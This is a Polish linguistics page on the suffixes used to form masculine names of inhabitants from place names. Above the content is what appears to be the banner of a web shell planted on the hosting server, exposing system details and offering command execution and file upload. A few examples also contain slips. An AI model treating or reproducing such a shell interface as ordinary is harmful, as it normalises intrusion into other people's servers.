|
Server IP : 10.2.73.233 / Your IP : 216.73.216.59 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ilpnowa/../slownik/web/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<head>
<style type="text/css">
.style1
{
font-weight: normal;
}
</style>
</head>
<p><font size="3"><b>3.2. Reguły tworzenia odmiejscowych nazw osobowych rodzaju męskiego</b></p></font>
<div align="center"><b> </b></div>
<div style="text-align: justify; line-height: 180%"><span>1.<span> </span></span><b>Nazwy osobowe utworzone za pomocą </b>formantu <i>-<b>ak</b></i></div>
<div style="text-align: justify; line-height: 180%">Za pomocą formantu<b> <i>–ak </i> </b>nazwy mieszkańców tworzymy od tematu podstawy słowotwórczej nazw miast, regionów i niektórych nazw państw
<a title="" name="_ftnref1" href="#_ftn1"><span><span><span><span>[1]</span></span></span></span></a>. W większości są to nazwy nacechowane.</div>
<div style="text-align: justify; line-height: 180%">
<br />
1.1. <b>bez alternacji <span> </span></b></div>
<ul type="square">
<li>nienacechowane:<span> <i>Warmia - Warmiak, Kocewie - Kociewiak, Spisz - Spiszak</i>;<i> Bośnia - Bośniak, Austria - Austriak</i></span></li>
<li>nacechowane: <i>Poznań – poznaniak; Wołyń - Wołyniak, Podlasie - Podlasiak</i><span><br />
</span></li>
</ul>
<div style="text-align: justify; line-height: 180%">1.2. <b>z alternacjami tematowymi</b></div>
<ul type="square">
<li>alternacje jakościowe [v]:[v’], [u]:[o]: <em>Kraków</em> – <em>Krakowiak</em>
(mieszkaniec regionu, nazwy nienacechowane);</li>
<li>alternacje jakościowe [n]:[n’], [m]:[m’]; [u]:[o] (nazwy nacechowane): <em>
Oświęcim</em> - <em>oświęcimiak</em>, <em>Lublin</em> - <em>lubliniak</em>, <em>
Wrocław</em> – <em>wrocławiak</em>, <em>Kraków</em> - <em>krakowiak</em>; <em>
Warszawa</em> – <em>warszawiak</em>; <em>Kujawy</em> – <em>Kujawiak</em>...;</li>
<li>alternacja ilościowa [Ø]:[yn’]: <em>Łomża</em> – <em>Łomżyniak.</em> </li>
</ul>
<div style="text-align: justify; line-height: 180%"><strong>Wyjątki:</strong><i><br />
Śląsk - Ślązak </i>(alternacja jakościowa [s]:[z] i ilościowa [k]:[Ø];<i><br />
Polska – Polak</i> (dezintegracja)<span><a title="" name="_ftnref2" href="#_ftn2">[2]</a></span><i>. <br />
<br />
</i></div>
<div style="text-align: justify; line-height: 180%"><span>2.<span> </span></span><b>Nazwy osobowe utworzone za pomocą </b>formantu <b>­<i>–anin</i></b></div>
<div style="text-align: justify; line-height: 180%"><b>Uwaga 1.</b> Formant <i>–<b>anin</b></i> jest używany do tworzenia nazw osobowych od nazw miast i regionów rodzimych, znajdujących się (obecnie lub w przeszłości) na terenie Polski oraz nazw pochodzenia wschodnio- i południowosłowiańskiego, a także nazw obcych, przystosowanych do polskich norm fonetycznych, por. np. <i>Alaska - Alaskanin, Kostaryka - Kostarykanin, Lima - limianin </i></div>
<div style="text-align: justify; line-height: 180%"><b>Uwaga 2. </b>Podobnie jak w wypadku derywatów z formantem <b><i>–ak </i></b>procesowi tworzenia nazw mieszkańców za pomocą formantu <i>–anin</i> towarzyszą także regularne alternacje jakościowe: [t]:[c’], [t]:[t’], [v]:[v’], [m]:[m’], [n]:[n’], [u]:[o], [g]:[ž], [k]:[č], [r]:[ž], [s]:[š], [d]:[dz]. W nazwach rodzimych dochodzi również do alternacji ilościowej – ucięcia grup spółgłoskowych<span> [-<b><i>sk</i></b>(a)]:[Ø] oraz [-<i>yzn</i>(a)]:[Ø], por. <i>Wielkopolsk-a – Wielkopol-anin,</i> <i>Białostocczyzn-a – Białostoccz-anin</i>., ale:<i> Alaska</i> – <i>Alaskanin</i>.</span></div>
<div style="text-align: justify; line-height: 180%"><span>
<br />
2.1.<span> </span></span><b>bez alternacji </b></div>
<ul type="square">
<li>od nazw miast: <i>Paryż - paryżanin, Wenecja - wenecjanin...,</i></li>
<li>od nazw państw:<i> Rosja - Rosjanin, Jugosławia – Jugosłowianin,</i> <i>Kambodża - Kambodżanin, Kostaryka - Kostarykanin, Meksyk - Meksykanin, Mołdawia –</i> <i>Mołdawianin</i>;<i> Fenicja - Fenicjanin, Sparta – Spartanin;</i></li>
<li>od rodzimych nazw regionów: <i>Pomorze - Pomorzanin, Podhale - Podhalanin<span> </span></i></li>
</ul>
<div style="text-align: justify; line-height: 180%"><b>Wyjątki: </b></div>
<div style="text-align: justify; line-height: 180%"><i>Bandżul - bandżulanin, Maseru - maseruanin</i>, <i>Mogadiszu -</i> <i>
mogadiszuanin</i>;<i> </i></div>
<div style="text-align: justify; line-height: 180%"><i>Peru - Peruwianin</i> / <i>Peruwiańczyk</i>,</div>
<div style="text-align: justify; line-height: 180%"><i>Alaska - Alaskanin</i>, <i>Andamany - Andamanin</i>, <i>Kostaryka -</i> <i>Korsykanin, Martynika - Martynikanin, Wenecjanin</i><a title="" name="_ftnref4" href="#_ftn4"><span><span><span><span>[4]</span></span></span></span></a> ...</div>
<div style="text-align: justify; line-height: 180%"><b> </b></div>
<div style="text-align: justify; line-height: 180%">2.2<b>.<span> z alternacją</span></b></div>
<ul type="square">
<li>od nazw miast: <i>Sopot - sopocianin, Warszawa – warszawianin; Bratysława - bratysławianin, Moskwa - moskwianin, Lwów - lwowianin, Rzym - rzymianin, Ryga - ryżanin, Praga - prażanin, Kopenhaga – kopenhażanin; Bogota - bogocianin / bogotanin, Lima – limianin;</i></li>
<li>od nazw państw:<i> Siedmiogród – Siedmiogrodzianin</i>;</li>
<li>od rodzimych nazw regionów: <i>Małopolska – Małopolanin</i>;</li>
</ul>
<div style="text-align: justify; line-height: 180%"><b>Wyjątki:</b></div>
<div style="text-align: justify; line-height: 180%"><i>Azerbejdżan - Azerbejdżanin</i> / <i>Azer</i>, <i>Honduras -</i> <i>Honduranin</i> / <i>Honduraszczyk</i></div>
<div style="text-align: justify; line-height: 180%"> </div>
<div style="text-align: justify; line-height: 180%"><span>3.<span> </span></span><b>Nazwy osobowe utworzone za pomocą </b>formantu <b>­ ­<i>–czyk</i></b></div>
<div style="text-align: justify; line-height: 180%">Formant obecnie najbardziej produktywny w derywacji nazw mieszkańców państw, a także miast oraz regionów pochodzenia obcego. Odstępstwo od tej zasady stanowią derywacje: <i>Gniezno - gnieźnieńczyk, Zakopane - zakopiańczyk</i><a title="" name="_ftnref5" href="#_ftn5"><span>[5]</span></a><i>.</i></div>
<div style="text-align: justify; line-height: 180%"> </div>
<div style="text-align: justify; line-height: 180%"><span>3.1.<span> </span></span><b>bez alternacji</b></div>
<div style="text-align: justify; line-height: 180%">
<ul type="square">
<li>derywowane od podstaw z zakończeniem na [d] i [t], w tym na <i>-grad, <nobr>-stad</nobr>, -land</i>:<i> Aszchabad - aszchabadczyk, Belgrad - belgradczyk, Niderlandy - Niderlandczyk, Oranjestad - oranjestadczyk, Dżakarta
- dżakartczyk; Luanda - luandczyk, Kuwejt - Kuwejtczyk, Bermudy – Bermudczyk, Inflanty – Inflantczyk… </i></li>
<li>derywowane od podstaw z zakończeniem w temacie na [é], [l], [m], [ń] lub [n]<a title="" name="_ftnref6" href="#_ftn6"><span><span><span><span>[6]</span></span></span></span></a>, [r], [s], [t] poprzedzone samogłoską: <i>Achaja - Achajczyk</i><a title="" name="_ftnref7" href="#_ftn7"><span>[7]</span></a><i>, Ałma Ata - ałmaatczyk, Amsterdam</i> <i>- amsterdamczyk, Andora - Andorczyk, Bahama – Bahamczyk; Guam - Guamczyk, Wiedeń - wiedeńczyk, Barbados - Barbadoszczyk, Bejrut - bejrutczyk... </i>
<div style="text-align: justify; line-height: 180%">Wyjątkowo,<i> </i>w ten sposób tworzone są także nazwy: <i>Gwadelupa - Gwadelupczyk, Nassau – nassauczyk, Antanarywa - antanarywczyk, Malediwy - Malediwczyk.</i></div>
</li>
</ul>
</div>
<div style="text-align: justify; line-height: 180%"><span>3.2.<span> </span></span><b>z alternacjami ilościowymi</b></div>
<div style="text-align: justify; line-height: 180%">3.2.1. Typ - <b>ucięcie tematu (dezintegracja).</b> Derywowane od podstaw zakończonych na:</div>
<div style="text-align: justify; line-height: 180%">
<ul type="square">
<li><span><span> </span></span>-<i>di</i>(a), zwłaszcza na <i>‑andia</i>: <i>Burgundia - Burgundczyk, Grenlandia - Grenladczyk, Irlandia - Irlandczyk, Islandia – Islandczyk, </i></li>
<li><i>-berg, -burg, -ngia, -rgia</i>: <i>Hamburg - hamburczyk, Norymberga - norymberczyk, Magdeburg - magdeburczyk, Brandenburgia - Brandenburczyk, Lotaryngia - Lotaryńczyk...</i></li>
</ul>
</div>
<div style="text-align: justify; line-height: 180%">3.2.2. Typ – <b>rozszerzenia tematyczne</b> (wstawienie grup głosek między temat a przyrostek <i>-czyk</i> ):</div>
<div style="text-align: justify; line-height: 180%">
<ul type="square">
<li>rozszerzenie <i>-ań-</i> w nazwach derywowanych od podstaw z tematem fleksyjnym na [h], [k], [r], [m], [b], [t], [n] oraz [u], [i], [o]:<i> Biafra - Biafrańczyk, Birma - Birmańczyk, Dauha - dauhańczyk, Korea - Koreańczyk, Kuba - Kubańczyk, Malta - Maltańczyk, Mekka - mekkańczyk, Nikaragua - Nikaraguańczyk, Papua - Papuańczyk,</i> ale także <i>Haiti - Haitańczyk, Maputo - maputańczyk, Nauru - Naurańczyk, Portoryko - Portorykańczyk, Wagadugu - wagaduańczyk</i>; czy <i>Bhutan - Bhutańczyk, Biszkek - biszkekańczyk, Nazaret - nazaretańczyk, Tybet - Tybetańczyk.</i></li>
<li>
rozszerzenie <i>-eń-</i> tylkow nazwach derywowanych od podstaw z tematem fleksyjnym na [n], [k], [št], [z]:<b> </b> <i>Belize - Belizeńczyk, Berno - berneńczyk, Budapeszt - budapeszteńczyk, Bukareszt - bukareszteńczyk, Damaszek - damasceńczyk, Gniezno - gnieźnieńczyk</i><a title="" name="_ftnref8" href="#_ftn8"><span>[8]</span></a><i>.</i>
</i></li>
<li>rozszerzenie<i> -yń-</i> w nazwach derywowanych od podstaw z tematem fleksyjnym na [t]<a title="" name="_ftnref9" href="#_ftn9"><span><span><span><span>[9]</span></span></span></span></a> np.: <i>Bizancjum - Bizantyńczyk / Bizantyjczyk</i>, <i>Florencja - florentyńczyk / florentczyk</i>, <i>Dalmacja - Dalmatyńczyk</i> oraz <i>Lewant - Lewantyńczyk</i>.</li>
<li>rozszerzenie<i> -ej-</i>: tylko w derywacie <i>Europejczyk.</i></li>
<li>rozszerzenie <i>-ij- / -yj- </i>przede wszystkim w nazwach derywowanych od nazw rodzaju żeńskiego, zakończonych na [b’éa], [d’éa], [f’éa], [l’éa], [p’éa], [r’éa], [t’éa], [v’éa], [z’éa]), np.: <i>Gambia - Gambijczyk, Lidia - Lidyjczyk, Sofia - sofijczyk, Anatolia - Anatolijczyk, Apia - apijczyk, Asturia - Asturyjczyk, Kachetia - Kachetyjczyk, Boliwia - Boliwijczyk, Andaluzja - Andaluzyjczyk..</i>. ale także - z zakończeniem tematu na [d] lub [t]<a title="" name="_ftnref10" href="#_ftn10"><span><span><span><span>[10]</span></span></span></span></a>:<i> Grenada - Grenadyjczyk, Kanada - Kanadyjczyk, Uganda - Ugandyjczyk, Majotta - Majotyjczyk; Czad - Czadyjczyk</i>, <i>Korynt - Koryntyjczyk / Koryntczyk, Rabat - rabatyjczyk...</i></li>
</ul>
<p class="regular"><b>Uwaga. </b>Wybór samogłoski [i] lub [y] w poszczególnych formach zależy od poprzedzającej ją spółgłoski:</p>
<div style="text-align: justify;" class="regular">– jeśli temat fleksyjny podstawy jest zakończony na głoski wargowe [p’], [b’], [f’], [v’], tylnojęzykową [g’] oraz na [l’], wstawiamy [i], np. <i>Sycylia - Sycylijczyk</i></div>
<div style="text-align: justify; " class="regular">– po głoskach [t’], [d’], [r’], [z’] wstawiamy [y], np. <i>Syria – Syryjczyk.<br />
<br />
</i></div>
<ul type="square">
<li>rozszerzenie -<i>j- </i>w nazwach derywowanych od podstawnieodmiennych zakończonych na [e], [i] lub od podstaw z tematem zakończonym na samogłoskę: <i>Male - malejczyk, Kagali – kagalijczyk</i>... <i>Gwinea – Gwinejczyk, Judea – Judejczyk</i>.</li>
</ul>
</div>
<div style="text-align: justify; line-height: 180%"><b>Wyjątki: </b></div>
<div style="text-align: justify; line-height: 180%"><span><i>Dżibuti – Dżibutczyk</i>, <i>Haiti – Haitańczyk, Chile - Chilijczyk</i>
<br />
<br />
</span></div>
<div style="text-align: justify; line-height: 180%">
<ul type="square">
<li>rozszerzenie -<i>ij- </i>w nazwach derywowanych od podstaw nieodmiennych zakończonych na [o], [a]: <i>Tonga – Tongijczyk, Monako – Monakijczyk</i>...</li>
</ul>
</div>
<div style="text-align: justify; line-height: 180%"><b>Wyjątek</b>:</div>
<div style="text-align: justify; line-height: 180%"><i>Potoryko - Portorykańczyk</i></div>
<div style="text-align: justify; line-height: 180%"> </div>
<div style="text-align: justify; line-height: 180%">Zależności między zakończeniami podstaw a rozszerzeniami ilustruje poniższa tabela:</div>
<table cellspacing="0" cellpadding="0" border="1" width="100%">
<tbody>
<tr>
<td width="16%" valign="top">
<div style="text-align: justify; line-height: 180%"><b>rozszerzenie</b></div>
</td>
<td width="44%" valign="top">
<div style="text-align: justify; line-height: 180%"><b>zakończenie tematu fleksyjnego podstawy – NM* odmienne</b></div>
</td>
<td width="39%" valign="top">
<div style="text-align: justify; line-height: 180%"><b>zakończenie tematu fleksyjnego podstawy – NM nieodmienne</b></div>
</td>
</tr>
<tr>
<td width="16%" valign="top">
<div style="text-align: justify; line-height: 180%"><b>-ań (22) </b></div>
</td>
<td width="44%" valign="top">
<div style="text-align: justify; line-height: 180%">[h], [k], [r], [m], [b], [t], [n] oraz [u]</div>
</td>
<td width="39%" valign="top">
<div style="text-align: justify; line-height: 180%">[i], [o], [u]</div>
</td>
</tr>
<tr>
<td width="16%" valign="top">
<div style="text-align: justify; line-height: 180%"><b>-eń (6) </b></div>
</td>
<td width="44%" valign="top">
<div style="text-align: justify; line-height: 180%">[n], [k], [št], [z]</div>
</td>
<td width="39%" valign="top">
<div style="text-align: justify; line-height: 180%"> </div>
</td>
</tr>
<tr>
<td width="16%" valign="top">
<div style="text-align: justify; line-height: 180%"><b>-yń- (3)</b></div>
</td>
<td width="44%" valign="top">
<div style="text-align: justify; line-height: 180%">[t] [c’i]</div>
</td>
<td width="39%" valign="top">
<div style="text-align: justify; line-height: 180%"> </div>
</td>
</tr>
<tr>
<td width="16%" valign="top">
<div style="text-align: justify; line-height: 180%"><b>-ej- (1)</b></div>
</td>
<td width="44%" valign="top">
<div style="text-align: justify; line-height: 180%">[p]</div>
</td>
<td width="39%" valign="top">
<div style="text-align: justify; line-height: 180%"> </div>
</td>
</tr>
<tr>
<td width="16%" valign="top">
<div style="text-align: justify; line-height: 180%"><b>-ij-/-yj- (123)</b></div>
</td>
<td width="44%" valign="top">
<div style="text-align: justify; line-height: 180%">[i]: ([b’éa], [d’éa], [f’éa], [g’éa], [l’éa], [p’éa], [r’éa], [t’éa], [v’éa], [z’éa])</div>
<div style="text-align: justify; line-height: 180%">([p’], [b’], [f’], [v’], [g’], [l’] <span>à</span> ‑ij-</div>
<div style="text-align: justify; line-height: 180%">[t’], [d’], [r’], [z’] <span>à</span> <span>-yj-)</span></div>
</td>
<td width="39%" valign="top">
<div style="text-align: justify; line-height: 180%">[o], [a]</div>
</td>
</tr>
<tr>
<td width="16%" valign="top">
<div style="text-align: justify; line-height: 180%"><b>-j- (21)</b></div>
</td>
<td width="44%" valign="top">
<div style="text-align: justify; line-height: 180%">[e]</div>
</td>
<td width="39%" valign="top">
<div style="text-align: justify; line-height: 180%">[e], [i]</div>
</td>
</tr>
<tr>
<td width="16%" valign="top">
<div style="text-align: justify; line-height: 180%"><b>bez rozszerzenia</b></div>
<div style="text-align: justify; line-height: 180%"><b>(ok. 200)</b></div>
</td>
<td width="44%" valign="top">
<div style="text-align: justify; line-height: 180%">-grad, -stad, -land, -landi(a),</div>
<div style="text-align: justify; line-height: 180%">[é], [l], [m], [ń], [n], [r], [s], [t] – poprzedzone <u>samogłoską</u></div>
</td>
<td width="39%" valign="top">
<div style="text-align: justify; line-height: 180%">[e] niesłyszane w wymowie</div>
</td>
</tr>
</tbody>
</table>
<div style="text-align: justify; line-height: 180%">*NM – nazwa miejscowa</div>
<div style="text-align: justify; line-height: 180%"><b>Uwaga. </b>Z alternacjami ilościowymi typu rozsunięcie ściśle związane są alternacje jakościowe:</div>
<div style="text-align: justify; line-height: 180%">– jeśli temat fleksyjny podstawy zakończony jest na spółgłoskę miękką z następującą po niej półsamogłoską [é], wówczas w derywacie może pojawić się jej twardy odpowiednik, typu: [d’]:[d], [l’]:[l], [p’]:[p], [r’]:[r], [t’]:[t], [z’]:[z]<a title="" name="_ftnref11" href="#_ftn11"><span><span><span><span>[11]</span></span></span></span></a>, a półsamogłoska ulega ucięciu [é]:[ø]:<i> Finlandia </i>- <i>Finlandczyk</i>, <i>Grenlandia </i>-<i> Grenlandczyk</i>, <i>Fidżi </i>- <i>Fidżyjczyk, Portugalia </i>- <i>Portugalczyk, Etiopia </i>- <i>Etiopczyk, Aleksandria - aleksandryjczyk, Dżibuti - Dżibutczyk, Haiti - Haitańczyk...</i></div>
<div style="text-align: justify; line-height: 180%">– jeśli temat fleksyjny podstawy zakończony jest na spółgłoskę twardą, wówczas w zakończeniu tematu słowotwórczego derywatu pojawia się jej zmiękczony lub miękki odpowiednik: [b]:[b’], [g]:[g’], [k]:[k’], [l]:[l’], [n]:[ń]: <i>Aruba - Arubijczyk, Katanga - Katangijczyk, Lusaka - lusakijczyk, Monako - Monakijczyk, Akwizgran - akwizgrańczyk, Amman - Ammańczyk, Wientian - wientiańczyk…</i></div>
<div style="text-align: justify; line-height: 180%">– w grupie tej występuje również kilka <b>nietypowych </b>wymian głoskowych:</div>
<div style="text-align: justify; line-height: 180%">[a]:[u], np. <i>Dania - Duńczyk</i> (nie *<i>Dańczyk</i>)</div>
<div style="text-align: justify; line-height: 180%">[i]:[e]<i>,</i> np. <i>Tunis - </i> <i>tunetańczyk / tunisyjczyk</i>,</div>
<div style="text-align: justify; line-height: 180%">[s]:[š], np. <i>Barbados - Barbadoszczyk, Caracas - karakaszczyk, Honduras - Honduraszczyk / Honduranin</i></div>
<div style="text-align: justify; line-height: 180%">[š]:[sc], np. <i>Damaszek - damasceńczyk</i></div>
<div style="text-align: justify; line-height: 180%">[s]:[t], np. <i>Laos - Laotańczyk, Trypolis - trypolitańczyk</i>.</div>
<div style="text-align: justify; line-height: 180%"> </div>
<div style="text-align: justify; line-height: 180%"><b>4. <span>Nazwy osobowe utworzone za pomocą </b>formantu <b><i>–ec</i></b> </span></div>
<div style="text-align: justify; line-height: 180%">Formant bardzo rzadki, zazwyczaj forma potoczna nacechowana.</div>
<div style="text-align: justify; line-height: 180%"><span>4.1.<span> </span></span><b><span>bez alternacji: </span></b></div>
<div style="text-align: justify; line-height: 180%"><span>·<span> </span></span><i>Czeczenia – Czeczeniec / Czeczen</i>, <i>Słowenia</i> <i>– Słoweniec</i>;<i> Japonia – Japoniec / Japończyk
<br />
<br />
</i></div>
<div style="text-align: justify; line-height: 180%"><span>4.2.<span> </span></span><b><span>z alternacją</span></b>:</div>
<div style="text-align: justify; line-height: 180%"><span>·<span> </span></span><i>Czarnogóra
- Czarnogórzec, Ukraina</i> <i>- Ukrainiec</i>; <i>Wietnam - Wietnamiec</i></div>
<div style="text-align: justify; line-height: 180%"> </div>
<div style="text-align: justify; line-height: 180%"><b><span>5.<span> </span></span></b><b><span>Nazwy osobowe utworzone za pomocą
<span class="style1">formantu</span> paradygmatycznego. </span></b></div>
<div style="text-align: justify; line-height: 180%"><span>5.1.<span> </span></span><b>bez alternacji </b></div>
<div style="text-align: justify; line-height: 180%">
<ul type="square">
<li>od nazw plurale tantum<b>:</b><i> Czechy - Czech, Włochy - Włoch, Mazury – Mazur</i></li>
</ul>
</div>
<div style="text-align: justify; line-height: 180%"><span>5.2.</span><b><span> z alternacjami </span></b></div>
<div style="text-align: justify; line-height: 180%"><b><span>– <span
class="style1">ilościowymi</span> </span></b>oraz<b> </b>jakościowymi<b> </b></div>
<div style="text-align: justify; line-height: 180%">
<div style="text-align: justify; line-height: 180%">
<ul type="square">
<li>od nazw plurale tantum, alternacje: ([Ø]:[e], [Ø]:[o]) oraz ([m]:[m’], [g]:[g’]): <i>Niemcy - Niemiec, Węgry – Węgier</i></li>
<li>alternacje ([-<i>stan</i>]:[Ø]) oraz ([ń]:[n], [k’]:[k]): <i>Afganistan - Afgan / Afgańczyk, Kazachstan - Kazach, Uzbekistan - Uzbek, Tadżykistan - Tadżyk</i><a title="" name="_ftnref12" href="#_ftn12"><span><span><span><span>[12]</span></span></span></span></a>.</li>
<li><b>(</b>[é]:[ø]) oraz ([b’]:[b], [g’]:[g], [c’]:[k], [c’]:[k], [d’]:[d], [g’]:[g], [ń]:[n], [r’]:[r], [z’]:[z]):
<i>Belgia - Belg, Bułgaria - Bułgar, Chorwacja - Chorwat, Czechosłowacja - Czechosłowak, Flamandia – Flamand / Flamandczyk, Frygia - Fryg, Grecja - Grek, Hiszpania - Hiszpan, Kirgizja - Kirgiz, Norwegia - Norweg, Serbia - Serb, Słowacja - Słowak</i>.</li>
</ul>
</div>
</div>
<br />
<div style="text-align: justify; line-height: 180%">– <b>z alternacją ilościową</b>
<ul type="square">
<li>([<i>-landia</i>]:[<i>Ø</i>]):<b> tylko </b><i>Finlandia – Fin / Finlandczyk</i><span><span> </span></span></li>
</ul>
</div>
<div style="text-align: justify; line-height: 180%"><b><span>6.<span> </span></span></b><b>Formy izolowane</b></div>
<div style="text-align: justify; line-height: 180%">Utworzone za pomocą cząstek, które w polszczyźnie nie mają statusu formantu służącego do tworzenia nazw osobowych</div>
<div style="text-align: justify; line-height: 180%">
<ul type="square">
<li><i>Anglia </i>- <i>Anglik, Francja - Francuz, Holandia - Holender, Litwa - Litwin, Łotwa - Łotysz</i>.</li>
</ul>
</div>
<div style="text-align: justify; line-height: 180%"><br />
<hr align="left" width="33%" size="1" />
<div id="ftn1">
<div style="text-align: justify; line-height: 180%"><a title="" name="_ftn1" href="#_ftnref1"><span><span><span><span>[1]</span></span></span></span></a> Z tej różnicy zdają sprawę reguły ortograficzne: nazwy mieszkańców miast piszemy z małej litery, regionów i państw – z dużej.</div>
</div>
<div id="ftn2">
<div style="text-align: justify; line-height: 180%"><a title="" name="_ftn2" href="#_ftnref2"><span><span><span><span>[2]</span></span></span></span></a> Inaczej niż <i>Słowak / Czechosłowak. </i>Zob. formant paradygmatyczny</div>
</div>
<div id="ftn3">
<div style="text-align: justify; line-height: 180%"><a title="" name="_ftn3" href="#_ftnref3"><span><span><span><span>[3]</span></span></span></span></a> Posiadają swoje nienacechowane odpowiedniki z formantem <i> <b>–anin</b></i>.</div>
</div>
<div id="ftn4">
<div style="text-align: justify; line-height: 180%"><a title="" name="_ftn4" href="#_ftnref4"><span><span><span><span>[4]</span></span></span></span></a>
Identyczne z nazwą mieszkańca Wenecji jako miasta.</div>
</div>
<div id="ftn5">
<div style="text-align: justify; line-height: 180%"><a title="" name="_ftn5" href="#_ftnref5"><span><span><span><span>[5]</span></span></span></span></a> Oba leksemy w USJP mają odesłanie do nienacechowanego synonimu: <i>gnieźnianin,</i> <i>zakopianin</i>.</div>
</div>
<div id="ftn6">
<div style="text-align: justify; line-height: 180%"><a title="" name="_ftn6" href="#_ftnref6"><span><span><span><span>[6]</span></span></span></span></a> W tym wypadku ulega ono zmiękczeniu do [ń] pod wpływem formantu <i>-czyk</i>.</div>
</div>
<div id="ftn7">
<div style="text-align: justify; line-height: 180%"><a title="" name="_ftn7" href="#_ftnref7"><span><span><span><span>[7]</span></span></span></span></a> Synonim: <i>Achaj.</i></div>
</div>
<div id="ftn8">
<div style="text-align: justify; line-height: 180%"><a title="" name="_ftn8" href="#_ftnref8"><span><span><span><span>[8]</span></span></span></span></a> Synonim: <i>gnieźnianin</i>. Jest to jedna z dwóch (obok <i>zakopiańczyka) </i>nazw osobowych utworzonych za pomocą formantu <i>–czyk </i>i motywowanych przez rodzime nazwy miejscowości.</div>
</div>
<div id="ftn9">
<div style="text-align: justify; line-height: 180%"><a title="" name="_ftn9" href="#_ftnref9"><span><span><span><span>[9]</span></span></span></span></a> Wygłosowe [t] w temacie słowotwórczym może pochodzić bezpośrednio od podstawy słowotwórczej lub być wynikiem alternacji [-c’i-]:[t] między podstawą i derywatem.</div>
</div>
<div id="ftn10">
<div style="text-align: justify; line-height: 180%"><a title="" name="_ftn10" href="#_ftnref10"><span><span><span><span>[10]</span></span></span></span></a> Po temacie zakończonym na –<i>d-, </i>-<i>t-</i> możliwa jest derywacja czysto sufiksalna, np. <i>Belgrad - belgradczyk</i>, a także możliwe jest rozszerzenie <i>-ań-/-eń-/-yń-</i>, np. <i>Malta</i> <i>- Maltańczyk; Tybet - Tybetańczyk, Lewant - Lewantyńczyk </i>(por. wcześniejsze fragmenty tekstu).</div>
</div>
<div id="ftn11">
<div style="text-align: justify; line-height: 180%"><a title="" name="_ftn11" href="#_ftnref11"><span><span><span><span>[11]</span></span></span></span></a> Regułę tę łamie nietypowa dla nazw obcych w języku polskim wymiana [c’]:[t], np. <i>Bizancjum</i> <i>- Bizantyjczyk / bizantyjczyk / bizantyńczyk, Brabancja - Brabantczyk, Florencja - florentyńczyk / florentczyk. </i></div>
</div>
<div id="ftn12">
<div style="text-align: justify; line-height: 180%"><a title="" name="_ftn12" href="#_ftnref12"><span><span><span><span>[12]</span></span></span></span></a> Być może przez analogię powstała nazwa <i>Azer </i>od <i>Azerbejdżan </i>(równolegle: <i>Azerbajdźanin).</i></div>
</div>
</div>